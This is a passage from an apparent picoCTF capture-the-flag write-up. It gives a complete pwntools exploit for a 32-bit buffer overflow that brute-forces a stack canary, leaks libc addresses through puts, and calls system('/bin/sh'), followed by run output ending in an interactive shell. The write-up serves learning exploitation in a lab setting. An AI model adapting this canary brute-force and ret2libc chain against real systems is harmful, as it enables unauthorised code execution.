system	0x47040

Updated the exploit to perform the following and get a shell.

  • Find libc base address using leaked puts address and puts offset.
  • Find address of system by using system offset and libc base address.
  • Find address of /bin/sh string using its offset and libc base address.
  • Calling system with the calculated address of system and /bin/sh string.

Updated exploit.

from pwn import *
import sys
import string


canary_offset = 64
canary_size = 4

canary = b""

chall = ELF("./vuln")


def get_process():
        if args.REMOTE:
                r = remote('saturn.picoctf.net', args.PORT)
                return r
        else:
                return chall.process()


for i in range(1,5):

        for canary_char in string.printable:

                r = get_process()

                r.sendlineafter(b"> ", b"%d" % (canary_offset + i))


                payload = b"A"* canary_offset + canary
                payload += canary_char.encode()


                r.sendlineafter(b"> ", payload)

                resp = r.recvall()

                print (resp)

                if b"Now Where's the Flag" in resp:
                        canary += canary_char.encode()
                        break
                r.close()

if not len(canary) == 4:
        print ("[-] Failed to find canary!")
        sys.exit()

else:
        print ("[+] Found canary : %s" % canary.decode())

# gdb-peda$ p win
# $1 = {<text variable, no debug info>} 0x8049336 <win>
win = 0x8049336

# buf = .bss
# 25 .bss          00000008  0804c050  0804c050  00003050  2**2
buf = 0x0804c050

read_plt = chall.plt["read"]
puts_plt = chall.plt["puts"]
main = chall.symbols["main"]

# addresses to leak

read_got_plt = chall.got["read"]
puts_got_plt = chall.got["puts"]

def leak(got_address, len_leak):


        payload = b"A" * 64             # canary offset 64
        payload += canary
        payload += b"A" * 16            # eip offset 16 from canary


        payload += p32(puts_plt)
        payload += p32(main)            # ret address of puts, return to main
        payload += p32(got_address)     # address to leak


        r = get_process()
        r.sendlineafter(b"> ", b"%d" % len(payload))

        r.sendlineafter(b"> ", payload)
        resp = r.recvall()
        return resp.split(b"\n")[1][0:len_leak]
        #return resp


# leaking puts address

puts_leaked = leak(puts_got_plt, 4)
puts_leaked_addr = u32(puts_leaked)

print ("[*] Leaked puts() address : ", hex(puts_leaked_addr))


read_leaked = leak(read_got_plt, 4)
read_leaked_addr = u32(read_leaked)

print ("[*] Leaked read() address : ", hex(read_leaked_addr))


# Got from libc database after leaking the above two addresses
# and identifying libc
puts_offset =   0x70ea0
libc_base = puts_leaked_addr - puts_offset

str_bin_sh_offset = 0x1b40ce
system_offset   = 0x47040

binsh = libc_base + str_bin_sh_offset
system = libc_base + system_offset


system_string = leak(binsh, 7)
print ("[*] Leaked string : ", system_string)


# calling system
payload = b"A" * 64             # canary offset 64
payload += canary
payload += b"A" * 16            # eip offset 16 from canary

payload += p32(system)
payload += p32(0x42424242)
payload += p32(binsh)



r = get_process()
r.sendlineafter(b"> ", b"%d" % len(payload))

r.sendlineafter(b"> ", payload)

r. interactive()

Running locally.

$ python poc-final.py 
[!] Pwntools does not support 32-bit Python.  Use a 64-bit release.
[*] '/home/kali/Desktop/rop/pico-bo3/vuln'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[+] Starting local process '/home/kali/Desktop/rop/pico-bo3/vuln': pid 8372
[+] Receiving all data: Done (60B)
[*] Process '/home/kali/Desktop/rop/pico-bo3/vuln' stopped with exit code 255 (pid 8372)
b'***** Stack Smashing Detected ***** : Canary Value Corrupt!\n'
[.....]
[+] Starting local process '/home/kali/Desktop/rop/pico-bo3/vuln': pid 8854
[+] Receiving all data: Done (28B)
[*] Process '/home/kali/Desktop/rop/pico-bo3/vuln' stopped with exit code 0 (pid 8854)
b"Ok... Now Where's the Flag?\n"
[+] Found canary : CAFE
[+] Starting local process '/home/kali/Desktop/rop/pico-bo3/vuln': pid 8857
[+] Receiving all data: Done (141B)
[*] Stopped process '/home/kali/Desktop/rop/pico-bo3/vuln' (pid 8857)
[*] Leaked puts() address :  0xb7c70ea0
[+] Starting local process '/home/kali/Desktop/rop/pico-bo3/vuln': pid 8860
[+] Receiving all data: Done (173B)
[*] Stopped process '/home/kali/Desktop/rop/pico-bo3/vuln' (pid 8860)
[*] Leaked read() address :  0xb7d05440
[+] Starting local process '/home/kali/Desktop/rop/pico-bo3/vuln': pid 8863
[+] Receiving all data: Done (120B)
[*] Stopped process '/home/kali/Desktop/rop/pico-bo3/vuln' (pid 8863)
[*] Leaked string :  b'/bin/sh'
[+] Starting local process '/home/kali/Desktop/rop/pico-bo3/vuln': pid 8866
[*] Switching to interactive mode
Ok... Now Where's the Flag?
$ id
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),115(bluetooth),125(scanner),141(wireshark),143(kaboxer)
$ whoami
kali
$